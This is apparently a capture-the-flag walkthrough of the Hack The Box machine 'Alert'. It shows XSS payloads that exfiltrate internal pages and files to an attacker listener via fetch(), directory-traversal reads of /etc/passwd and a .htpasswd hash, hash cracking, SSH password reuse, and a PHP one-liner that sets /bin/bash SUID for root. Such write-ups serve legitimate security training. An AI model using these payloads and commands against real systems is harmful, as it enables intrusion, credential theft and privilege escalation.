Alert
8 minutes to read

.htpasswd
file with a hashed password to access another subdomain. Instead, we can crack the hash and reuse the password for SSH. At this point, there is a local PHP server running as root
, and we are able to manage PHP scripts, so we can simply execute PHP code as root
- PHP
- File upload
- Local File Read
- Password reuse
- File permissions
- Cross-Site Scripting
- Directory Path Traversal
- Password hash cracking
- Cross-Site Request Forgery
- OS: Linux
- Difficulty: Easy
- IP Address: 10.10.11.44
- Release: 23 / 11 / 2024
Port scanning
# Nmap 7.95 scan initiated as: nmap -sC -sV -o nmap/targeted 10.10.11.44 -p 22,80
Nmap scan report for 10.10.11.44
Host is up (0.054s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 7e:46:2c:46:6e:e6:d1:eb:2d:9d:34:25:e6:36:14:a7 (RSA)
| 256 45:7b:20:95:ec:17:c5:b4:d8:86:50:81:e0:8c:e8:b8 (ECDSA)
|_ 256 cb:92:ad:6b:fc:c8:8e:5e:9f:8c:a2:69:1b:6d:d0:f7 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-title: Alert - Markdown Viewer
|_Requested resource was index.php?page=alert
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done -- 1 IP address (1 host up) scanned in 11.38 seconds
This machine has ports 22 (SSH) and 80 (HTTP) open.
Enumeration
If we go to http://10.10.11.44
, we will be redirected to http://alert.htb
. After setting the domain in /etc/hosts
, we have this web application:
Since there’s a domain, let’s enumerate possible subdomains:
$ ffuf -w $WORDLISTS/Seclists/subdomains-top1million-110000.txt -u http://10.10.11.44 -H 'Host: FUZZ.alert.htb' -fw 20
statistics [Status: 401, Size: 467, Words: 42, Lines: 15, Duration: 139ms]
Alright, this statistics.alert.htb
is not accessible yet because we don’t have credentials:
So, let’s continue enumerating alert.htb
. There is an “About Us” section that says that an administrator is reading all messages sent from “Contact Us”:
In this contact form, we can think of malicious stuff to send:
For instance, since the website uses Markdown, we can insert an image that points to a controlled server:
And it works! But notice that the closing parenthesis is still there:
$ python3 -m http.server
Serving HTTP on :: port 8000 (http://[::]:8000/) ...
::ffff:10.10.11.44 - - [] code 404, message File not found
::ffff:10.10.11.44 - - [] "GET /asdf) HTTP/1.1" 404 -
Therefore, probably we only need to send the link, and the admininistrator will simply click it right away.
Finding XSS
Let’s try the Markdown viewer, by trying to inject HTML code (since HTML can be easily embedded into Markdown). Actually, let’s use a Cross-Site Scripting (XSS) payload:
<img onerror="alert(123)" src="x">
And the XSS works, with the simplest payload:
We can use the “Share Markdown” button to generate a unique link to this Markdown file:
With this feature, we can start thinking on the attack vector:
- Upload a malicious Markdown file with XSS
- Generate a unique link to the Markdown file
- Send the link to the administrator
But we are still missing something, because we can’t simply make a request to statistics.alert.htb
. Due to the Same-Origin Policy, we can’t read responses for cross-site requests.
Taking a step back, we can observe that all pages are managed like:
/index.php?page=alert
/index.php?page=about
/index.php?page=contact
/index.php?page=donate
Actually, the “Donate” page is completely useless. However, we can fuzz for more pages using ffuf
:
$ ffuf -w $WORDLISTS/Seclists/Discovery/Web-Content/raft-small-words.txt -u 'http://alert.htb/index.php?page=FUZZ' -fs 690
about [Status: 200, Size: 1046, Words: 187, Lines: 24, Duration: 102ms]
messages [Status: 200, Size: 661, Words: 123, Lines: 25, Duration: 67ms]
donate [Status: 200, Size: 1116, Words: 292, Lines: 29, Duration: 73ms]
contact [Status: 200, Size: 1000, Words: 191, Lines: 29, Duration: 4687ms]
alert [Status: 200, Size: 966, Words: 201, Lines: 29, Duration: 69ms]
There it is! We can’t access /index.php?page=messages
from our side, but it is very likely that the administrator is able to browse that page.
Foothold
Hence, let’s use XSS to perform a Cross-Site Request Forgery (CSRF):
<img onerror="fetch('http://alert.htb/index.php?page=messages').then(r => r.text()).then(r => fetch('http://10.10.16.6:8000/?c=' + btoa(r)))" src="x">
With this, we are trying to read the HTTP response from /index.php?page=messages
and send it to our controlled server in Base64:
::ffff:10.10.11.44 - - [] "GET /?c=PCFET0NUWVBFIGh0bWw+CjxodG1sIGxhbmc9ImVuIj4KPGhlYWQ+CiAgICA8bWV0YSBjaGFyc2V0PSJVVEYtOCI+CiAgICA8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEuMCI+CiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9ImNzcy9zdHlsZS5jc3MiPgogICAgPHRpdGxlPkFsZXJ0IC0gTWFya2Rvd24gVmlld2VyPC90aXRsZT4KPC9oZWFkPgo8Ym9keT4KICAgIDxuYXY+CiAgICAgICAgPGEgaHJlZj0iaW5kZXgucGhwP3BhZ2U9YWxlcnQiPk1hcmtkb3duIFZpZXdlcjwvYT4KICAgICAgICA8YSBocmVmPSJpbmRleC5waHA/cGFnZT1jb250YWN0Ij5Db250YWN0IFVzPC9hPgogICAgICAgIDxhIGhyZWY9ImluZGV4LnBocD9wYWdlPWFib3V0Ij5BYm91dCBVczwvYT4KICAgICAgICA8YSBocmVmPSJpbmRleC5waHA/cGFnZT1kb25hdGUiPkRvbmF0ZTwvYT4KICAgICAgICA8YSBocmVmPSJpbmRleC5waHA/cGFnZT1tZXNzYWdlcyI+TWVzc2FnZXM8L2E+ICAgIDwvbmF2PgogICAgPGRpdiBjbGFzcz0iY29udGFpbmVyIj4KICAgICAgICA8aDE+TWVzc2FnZXM8L2gxPjx1bD48bGk+PGEgaHJlZj0nbWVzc2FnZXMucGhwP2ZpbGU9MjAyNC0wMy0xMF8xNS00OC0zNC50eHQnPjIwMjQtMDMtMTBfMTUtNDgtMzQudHh0PC9hPjwvbGk+PC91bD4KICAgIDwvZGl2PgogICAgPGZvb3Rlcj4KICAgICAgICA8cCBzdHlsZT0iY29sb3I6IGJsYWNrOyI+qSAyMDI0IEFsZXJ0LiBBbGwgcmlnaHRzIHJlc2VydmVkLjwvcD4KICAgIDwvZm9vdGVyPgo8L2JvZHk+CjwvaHRtbD4KCg== HTTP/1.1" 200 -
And this is the HTTP response:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<link rel="stylesheet" href="css/style.css">
<title>Alert - Markdown Viewer</title>
</head>
<body>
<nav>
<a href="index.php?page=alert">Markdown Viewer</a>
<a href="index.php?page=contact">Contact Us</a>
<a href="index.php?page=about">About Us</a>
<a href="index.php?page=donate">Donate</a>
<a href="index.php?page=messages">Messages</a> </nav>
<div class="container">
<h1>Messages</h1><ul><li><a href='messages.php?file=2024-03-10_15-48-34.txt'>2024-03-10_15-48-34.txt</a></li></ul>
</div>
<footer>
<p style="color: black;"> 2024 Alert. All rights reserved.</p>
</footer>
</body>
</html>
Oh, there is a file called 2024-03-10_15-48-34.txt
. Let’s try to read it:
<img onerror="fetch('http://alert.htb/messages.php?file=2024-03-10_15-48-34.txt').then(r => r.text()).then(r => fetch('http://10.10.16.6:8000/?c=' + btoa(r)))" src="x">
::ffff:10.10.11.44 - - [] "GET /?c=PHByZT48L3ByZT4K HTTP/1.1" 200 -
Weird…
$ echo PHByZT48L3ByZT4K | base64 -d
<pre></pre>
Local File Read
Maybe we are not supposed to read this specific file but others… Indeed, the file
query parameter is probably vulnerable to directory traversal and allows us to read arbitrary files from the server. For instance, let’s read /etc/passwd
:
<img onerror="fetch('http://alert.htb/messages.php?file=../../../../../../../etc/passwd').then(r => r.text()).then(r => fetch('http://10.10.16.6:8000/?c=' + btoa(r))) " src="x">
::ffff:10.10.11.44 - - [] "GET /?c=PHByZT5yb290Ong6MDowOnJvb3Q6L3Jvb3Q6L2Jpbi9iYXNoCmRhZW1vbjp4OjE6MTpkYWVtb246L3Vzci9zYmluOi91c3Ivc2Jpbi9ub2xvZ2luCmJpbjp4OjI6MjpiaW46L2JpbjovdXNyL3NiaW4vbm9sb2dpbgpzeXM6eDozOjM6c3lzOi9kZXY6L3Vzci9zYmluL25vbG9naW4Kc3luYzp4OjQ6NjU1MzQ6c3luYzovYmluOi9iaW4vc3luYwpnYW1lczp4OjU6NjA6Z2FtZXM6L3Vzci9nYW1lczovdXNyL3NiaW4vbm9sb2dpbgptYW46eDo2OjEyOm1hbjovdmFyL2NhY2hlL21hbjovdXNyL3NiaW4vbm9sb2dpbgpscDp4Ojc6NzpscDovdmFyL3Nwb29sL2xwZDovdXNyL3NiaW4vbm9sb2dpbgptYWlsOng6ODo4Om1haWw6L3Zhci9tYWlsOi91c3Ivc2Jpbi9ub2xvZ2luCm5ld3M6eDo5Ojk6bmV3czovdmFyL3Nwb29sL25ld3M6L3Vzci9zYmluL25vbG9naW4KdXVjcDp4OjEwOjEwOnV1Y3A6L3Zhci9zcG9vbC91dWNwOi91c3Ivc2Jpbi9ub2xvZ2luCnByb3h5Ong6MTM6MTM6cHJveHk6L2JpbjovdXNyL3NiaW4vbm9sb2dpbgp3d3ctZGF0YTp4OjMzOjMzOnd3dy1kYXRhOi92YXIvd3d3Oi91c3Ivc2Jpbi9ub2xvZ2luCmJhY2t1cDp4OjM0OjM0OmJhY2t1cDovdmFyL2JhY2t1cHM6L3Vzci9zYmluL25vbG9naW4KbGlzdDp4OjM4OjM4Ok1haWxpbmcgTGlzdCBNYW5hZ2VyOi92YXIvbGlzdDovdXNyL3NiaW4vbm9sb2dpbgppcmM6eDozOTozOTppcmNkOi92YXIvcnVuL2lyY2Q6L3Vzci9zYmluL25vbG9naW4KZ25hdHM6eDo0MTo0MTpHbmF0cyBCdWctUmVwb3J0aW5nIFN5c3RlbSAoYWRtaW4pOi92YXIvbGliL2duYXRzOi91c3Ivc2Jpbi9ub2xvZ2luCm5vYm9keTp4OjY1NTM0OjY1NTM0Om5vYm9keTovbm9uZXhpc3RlbnQ6L3Vzci9zYmluL25vbG9naW4Kc3lzdGVtZC1uZXR3b3JrOng6MTAwOjEwMjpzeXN0ZW1kIE5ldHdvcmsgTWFuYWdlbWVudCwsLDovcnVuL3N5c3RlbWQ6L3Vzci9zYmluL25vbG9naW4Kc3lzdGVtZC1yZXNvbHZlOng6MTAxOjEwMzpzeXN0ZW1kIFJlc29sdmVyLCwsOi9ydW4vc3lzdGVtZDovdXNyL3NiaW4vbm9sb2dpbgpzeXN0ZW1kLXRpbWVzeW5jOng6MTAyOjEwNDpzeXN0ZW1kIFRpbWUgU3luY2hyb25pemF0aW9uLCwsOi9ydW4vc3lzdGVtZDovdXNyL3NiaW4vbm9sb2dpbgptZXNzYWdlYnVzOng6MTAzOjEwNjo6L25vbmV4aXN0ZW50Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5c2xvZzp4OjEwNDoxMTA6Oi9ob21lL3N5c2xvZzovdXNyL3NiaW4vbm9sb2dpbgpfYXB0Ong6MTA1OjY1NTM0Ojovbm9uZXhpc3RlbnQ6L3Vzci9zYmluL25vbG9naW4KdHNzOng6MTA2OjExMTpUUE0gc29mdHdhcmUgc3RhY2ssLCw6L3Zhci9saWIvdHBtOi9iaW4vZmFsc2UKdXVpZGQ6eDoxMDc6MTEyOjovcnVuL3V1aWRkOi91c3Ivc2Jpbi9ub2xvZ2luCnRjcGR1bXA6eDoxMDg6MTEzOjovbm9uZXhpc3RlbnQ6L3Vzci9zYmluL25vbG9naW4KbGFuZHNjYXBlOng6MTA5OjExNTo6L3Zhci9saWIvbGFuZHNjYXBlOi91c3Ivc2Jpbi9ub2xvZ2luCnBvbGxpbmF0ZTp4OjExMDoxOjovdmFyL2NhY2hlL3BvbGxpbmF0ZTovYmluL2ZhbHNlCmZ3dXBkLXJlZnJlc2g6eDoxMTE6MTE2OmZ3dXBkLXJlZnJlc2ggdXNlciwsLDovcnVuL3N5c3RlbWQ6L3Vzci9zYmluL25vbG9naW4KdXNibXV4Ong6MTEyOjQ2OnVzYm11eCBkYWVtb24sLCw6L3Zhci9saWIvdXNibXV4Oi91c3Ivc2Jpbi9ub2xvZ2luCnNzaGQ6eDoxMTM6NjU1MzQ6Oi9ydW4vc3NoZDovdXNyL3NiaW4vbm9sb2dpbgpzeXN0ZW1kLWNvcmVkdW1wOng6OTk5Ojk5OTpzeXN0ZW1kIENvcmUgRHVtcGVyOi86L3Vzci9zYmluL25vbG9naW4KYWxiZXJ0Ong6MTAwMDoxMDAwOmFsYmVydDovaG9tZS9hbGJlcnQ6L2Jpbi9iYXNoCmx4ZDp4Ojk5ODoxMDA6Oi92YXIvc25hcC9seGQvY29tbW9uL2x4ZDovYmluL2ZhbHNlCmRhdmlkOng6MTAwMToxMDAyOiwsLDovaG9tZS9kYXZpZDovYmluL2Jhc2gKPC9wcmU+Cg== HTTP/1.1" 200 -
And here we have /etc/passwd
:
$ echo PHByZT5yb290Ong6MDowOnJvb3Q6L3Jvb3Q6L2Jpbi9iYXNoCmRhZW1vbjp4OjE6MTpkYWVtb246L3Vzci9zYmluOi91c3Ivc2Jpbi9ub2xvZ2luCmJpbjp4OjI6MjpiaW46L2JpbjovdXNyL3NiaW4vbm9sb2dpbgpzeXM6eDozOjM6c3lzOi9kZXY6L3Vzci9zYmluL25vbG9naW4Kc3luYzp4OjQ6NjU1MzQ6c3luYzovYmluOi9iaW4vc3luYwpnYW1lczp4OjU6NjA6Z2FtZXM6L3Vzci9nYW1lczovdXNyL3NiaW4vbm9sb2dpbgptYW46eDo2OjEyOm1hbjovdmFyL2NhY2hlL21hbjovdXNyL3NiaW4vbm9sb2dpbgpscDp4Ojc6NzpscDovdmFyL3Nwb29sL2xwZDovdXNyL3NiaW4vbm9sb2dpbgptYWlsOng6ODo4Om1haWw6L3Zhci9tYWlsOi91c3Ivc2Jpbi9ub2xvZ2luCm5ld3M6eDo5Ojk6bmV3czovdmFyL3Nwb29sL25ld3M6L3Vzci9zYmluL25vbG9naW4KdXVjcDp4OjEwOjEwOnV1Y3A6L3Zhci9zcG9vbC91dWNwOi91c3Ivc2Jpbi9ub2xvZ2luCnByb3h5Ong6MTM6MTM6cHJveHk6L2JpbjovdXNyL3NiaW4vbm9sb2dpbgp3d3ctZGF0YTp4OjMzOjMzOnd3dy1kYXRhOi92YXIvd3d3Oi91c3Ivc2Jpbi9ub2xvZ2luCmJhY2t1cDp4OjM0OjM0OmJhY2t1cDovdmFyL2JhY2t1cHM6L3Vzci9zYmluL25vbG9naW4KbGlzdDp4OjM4OjM4Ok1haWxpbmcgTGlzdCBNYW5hZ2VyOi92YXIvbGlzdDovdXNyL3NiaW4vbm9sb2dpbgppcmM6eDozOTozOTppcmNkOi92YXIvcnVuL2lyY2Q6L3Vzci9zYmluL25vbG9naW4KZ25hdHM6eDo0MTo0MTpHbmF0cyBCdWctUmVwb3J0aW5nIFN5c3RlbSAoYWRtaW4pOi92YXIvbGliL2duYXRzOi91c3Ivc2Jpbi9ub2xvZ2luCm5vYm9keTp4OjY1NTM0OjY1NTM0Om5vYm9keTovbm9uZXhpc3RlbnQ6L3Vzci9zYmluL25vbG9naW4Kc3lzdGVtZC1uZXR3b3JrOng6MTAwOjEwMjpzeXN0ZW1kIE5ldHdvcmsgTWFuYWdlbWVudCwsLDovcnVuL3N5c3RlbWQ6L3Vzci9zYmluL25vbG9naW4Kc3lzdGVtZC1yZXNvbHZlOng6MTAxOjEwMzpzeXN0ZW1kIFJlc29sdmVyLCwsOi9ydW4vc3lzdGVtZDovdXNyL3NiaW4vbm9sb2dpbgpzeXN0ZW1kLXRpbWVzeW5jOng6MTAyOjEwNDpzeXN0ZW1kIFRpbWUgU3luY2hyb25pemF0aW9uLCwsOi9ydW4vc3lzdGVtZDovdXNyL3NiaW4vbm9sb2dpbgptZXNzYWdlYnVzOng6MTAzOjEwNjo6L25vbmV4aXN0ZW50Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5c2xvZzp4OjEwNDoxMTA6Oi9ob21lL3N5c2xvZzovdXNyL3NiaW4vbm9sb2dpbgpfYXB0Ong6MTA1OjY1NTM0Ojovbm9uZXhpc3RlbnQ6L3Vzci9zYmluL25vbG9naW4KdHNzOng6MTA2OjExMTpUUE0gc29mdHdhcmUgc3RhY2ssLCw6L3Zhci9saWIvdHBtOi9iaW4vZmFsc2UKdXVpZGQ6eDoxMDc6MTEyOjovcnVuL3V1aWRkOi91c3Ivc2Jpbi9ub2xvZ2luCnRjcGR1bXA6eDoxMDg6MTEzOjovbm9uZXhpc3RlbnQ6L3Vzci9zYmluL25vbG9naW4KbGFuZHNjYXBlOng6MTA5OjExNTo6L3Zhci9saWIvbGFuZHNjYXBlOi91c3Ivc2Jpbi9ub2xvZ2luCnBvbGxpbmF0ZTp4OjExMDoxOjovdmFyL2NhY2hlL3BvbGxpbmF0ZTovYmluL2ZhbHNlCmZ3dXBkLXJlZnJlc2g6eDoxMTE6MTE2OmZ3dXBkLXJlZnJlc2ggdXNlciwsLDovcnVuL3N5c3RlbWQ6L3Vzci9zYmluL25vbG9naW4KdXNibXV4Ong6MTEyOjQ2OnVzYm11eCBkYWVtb24sLCw6L3Zhci9saWIvdXNibXV4Oi91c3Ivc2Jpbi9ub2xvZ2luCnNzaGQ6eDoxMTM6NjU1MzQ6Oi9ydW4vc3NoZDovdXNyL3NiaW4vbm9sb2dpbgpzeXN0ZW1kLWNvcmVkdW1wOng6OTk5Ojk5OTpzeXN0ZW1kIENvcmUgRHVtcGVyOi86L3Vzci9zYmluL25vbG9naW4KYWxiZXJ0Ong6MTAwMDoxMDAwOmFsYmVydDovaG9tZS9hbGJlcnQ6L2Jpbi9iYXNoCmx4ZDp4Ojk5ODoxMDA6Oi92YXIvc25hcC9seGQvY29tbW9uL2x4ZDovYmluL2ZhbHNlCmRhdmlkOng6MTAwMToxMDAyOiwsLDovaG9tZS9kYXZpZDovYmluL2Jhc2gKPC9wcmU+Cg== | base64 -d
<pre>root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
fwupd-refresh:x:111:116:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:113:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
albert:x:1000:1000:albert:/home/albert:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
david:x:1001:1002:,,,:/home/david:/bin/bash
</pre>
At this point, since we are going to perform the same process to read files from the server, let’s write a Python script to automate all the process, so that we only need to enter the path of the file we want to read and run the script: lfr.py
(detailed explanation here). Now, the task of reading files reduces to:
$ python3 lfr.py 10.10.16.6 /etc/hosts
127.0.0.1 localhost
127.0.1.1 alert
127.0.0.1 alert.htb
127.0.0.1 statistics.alert.htb
# The following lines are desirable for IPv6 capable hosts
::1 ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
When having a Local File Read vulnerability, we need to read common files whose paths are predictable. For instance, since the web server is Apache, we can read the default configuration of the websites:
$ python3 lfr.py 10.10.16.6 /etc/apache2/sites-enabled/000-default.conf
<VirtualHost *:80>
ServerName alert.htb
DocumentRoot /var/www/alert.htb
<Directory /var/www/alert.htb>
Options FollowSymLinks MultiViews
AllowOverride All
</Directory>
RewriteEngine On
RewriteCond %{HTTP_HOST} !^alert\.htb$
RewriteCond %{HTTP_HOST} !^$
RewriteRule ^/?(.*)$ http://alert.htb/$1 [R=301,L]
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>
<VirtualHost *:80>
ServerName statistics.alert.htb
DocumentRoot /var/www/statistics.alert.htb
<Directory /var/www/statistics.alert.htb>
Options FollowSymLinks MultiViews
AllowOverride All
</Directory>
<Directory /var/www/statistics.alert.htb>
Options Indexes FollowSymLinks MultiViews
AllowOverride All
AuthType Basic
AuthName "Restricted Area"
AuthUserFile /var/www/statistics.alert.htb/.htpasswd
Require valid-user
</Directory>
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>
Hey! Recall that statistics.alert.htb
was protected with HTTP Basic Authentication, which means that there is a .htpasswd
file there (as shown in the previous configuration):
$ python3 lfr.py 10.10.16.6 /var/www/statistics.alert.htb/.htpasswd
albert:$apr1$bMoRBJOg$igG8WBtQ1xYDTQdLjSWZQ/
Perfect, now we only need to crack this hash. For some reason, john
is not able to crack it. Since I’m not a hashcat
guy, I decided to look for an implementation of the Apache hashing function and found passlib.apache
. Using this Python library, we can crack the hash with the following code:
$ python3 -q
>>> from passlib.apache import HtpasswdFile
>>>
>>> ht = HtpasswdFile.from_string('albert:$apr1$bMoRBJOg$igG8WBtQ1xYDTQdLjSWZQ/')
>>>
>>> with open('rockyou.txt', 'rb') as f:
... passwords = f.read().splitlines()
...
>>> for password in passwords:
... if ht.check_password('albert', password):
... print(password)
... break
...
b'manchesterunited'
And there we have it! Now we can access this website, but there is nothing interesting…
However, we can reuse these credentials in SSH, so we can get the user.txt
flag:
$ ssh albert@alert.htb
albert@alert.htb's password:
albert@alert:~$ cat user.txt
c8b3b9250e5afbef99afed9988bf85a8
System enumeration
A basic process enumeration shows that there is a local PHP server running on port 8080 at directory /opt/website-monitor
:
albert@alert:~$ ps -faux | grep php
root 1037 0.0 0.0 2608 532 ? Ss Feb12 0:00 | \_ /bin/sh -c /root/scripts/php_bot.sh
root 1039 0.0 0.0 6892 3216 ? S Feb12 0:00 | \_ /bin/bash /root/scripts/php_bot.sh
root 1042 0.0 0.0 6892 1960 ? S Feb12 0:11 | \_ /bin/bash /root/scripts/php_bot.sh
root 994 0.0 0.6 207256 26488 ? Ss Feb12 0:01 /usr/bin/php -S 127.0.0.1:8080 -t /opt/website-monitor
albert 77884 0.0 0.0 6300 656 pts/0 S+ 01:18 0:00 \_ grep --color=auto php
We could use port forwarding in SSH to visualize the website from our browser, but it is not necessary. We have the following files at /opt/website-monitor
:
albert@alert:~$ ll /opt/website-monitor/
total 96
drwxrwxr-x 7 root root 4096 Oct 12 01:07 ./
drwxr-xr-x 4 root root 4096 Oct 12 00:58 ../
drwxrwxr-x 2 root management 4096 Feb 12 15:57 config/
drwxrwxr-x 8 root root 4096 Oct 12 00:58 .git/
drwxrwxr-x 2 root root 4096 Oct 12 00:58 incidents/
-rwxrwxr-x 1 root root 5323 Oct 12 01:00 index.php*
-rwxrwxr-x 1 root root 1068 Oct 12 00:58 LICENSE*
-rwxrwxr-x 1 root root 1452 Oct 12 01:00 monitor.php*
drwxrwxrwx 2 root root 4096 Oct 12 01:07 monitors/
-rwxrwxr-x 1 root root 104 Oct 12 01:07 monitors.json*
-rwxrwxr-x 1 root root 40849 Oct 12 00:58 Parsedown.php*
-rwxrwxr-x 1 root root 1657 Oct 12 00:58 README.md*
-rwxrwxr-x 1 root root 1918 Oct 12 00:58 style.css*
drwxrwxr-x 2 root root 4096 Oct 12 00:58 updates/
Notice that we have rwx
permissions on /opt/website-monitor/config
as group management
:
albert@alert:~$ groups
albert management
albert@alert:~$ ll /opt/website-monitor/config/
total 12
drwxrwxr-x 2 root management 4096 Feb 12 15:57 ./
drwxrwxr-x 7 root root 4096 Oct 12 01:07 ../
-rwxrwxr-x 1 root management 49 Feb 13 01:21 configuration.php*
Privilege escalation
Since the local PHP server is running as root
, we can simply add a PHP script at /opt/website-monitor/config
to get a reverse shell, or set Bash as a SUID binary, or whatever privilege escalation method. The following will do the trick:
albert@alert:~$ ll /bin/bash
-rwxr-xr-x 1 root root 1183448 Apr 18 2022 /bin/bash*
albert@alert:~$ cat > /opt/website-monitor/config/x.php
<?php system('chmod u+s /bin/bash'); ?>
^C
albert@alert:~$ curl 127.0.0.1:8080/config/x.php
albert@alert:~$ ll /bin/bash
-rwsr-xr-x 1 root root 1183448 Apr 18 2022 /bin/bash*
albert@alert:~$ bash -p
bash-5.0# cat /root/root.txt
a6c9820b6a1dcfac4d561d8af88d76c5